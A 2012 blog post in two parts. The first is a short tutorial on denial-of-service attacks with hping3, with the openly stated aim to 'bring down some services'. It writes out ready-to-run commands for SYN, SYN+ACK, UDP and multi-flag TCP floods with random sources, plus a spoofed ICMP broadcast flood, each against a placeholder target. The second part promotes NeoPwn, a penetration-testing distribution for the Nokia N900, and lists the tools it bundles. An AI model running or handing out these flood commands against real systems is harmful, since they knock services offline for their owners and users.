Tuesday, December 11, 2012

DoS Attack using HPING




I am here to explain the DoS attacks (with practicals). You all know about DoS attack, Denial-of-
Service Attacks. In this attack, attacker denies the user to use a particular service. You can have many
tools for DoS attacks, but I'm gonna teach you a simple method for stress testing on the service.
We need Hping3 (It is available in linux only but you can use hping2 in windows but i can't assure you that it will work for this practical). Download Hping2/3 here

Ok so let's bring down some services.

Open the console and go to the path of hping3 and give the following command.

hping3 --rand-source –S –L 0 –p <target port> <target IP>

Here we are sending SYN packets (set value by replacing 0) with a random source.

hping3 --rand-source –SA –p <open port> <target IP>

Here we are sending SYN + ACK packets from a random source.

hping3 --rand-source -–udp <target IP> --flood

Flooding the target IP with UDP packets.

hping3 --rand-source –SAFRU –L 0 –M 0 –p <port> <target> --flood

In this command, we are sending SYN+ACK+FIN+RST+URG packets with TCP ack (-L) and TCP seq (-M). Change the values after -L and -M.

hping3 --icmp --spoof <target address> <broadcast address> --flood

Flooding with ICMP packets by spoofed IP (--spoof).


Once you download the hping, open your console and type "hping3 --help" for more options.



Penetration Testing by Nokia N900


So I'm back with more Mobile fun. Let's talk about Penetration Testing. You guys are aware of this

process, right? So what's new in this article?
We do penetration testing with laptops and desktops. Have you ever tried to do penetration testing by
using Nokia N900. We can do this by using NeoPwn, it's like Backtrack, means you'll get installed some
tools and scripts that are used in Backtrack.Like:
Metasploit
Airmon
Grimwepa
Karmetasploit
SET
Sidejack
Tor
etc...


All of these packages are included in NeoPwn.
So how we can get it and what is it?
It is a Linux based destro for mobile which are based on Linux. Once you install it you can do whatever you want to do. I only tested it in N900, but you can try it for Android.

Download Here: NeoPwn v2
Download Torrent: NeoPwn v2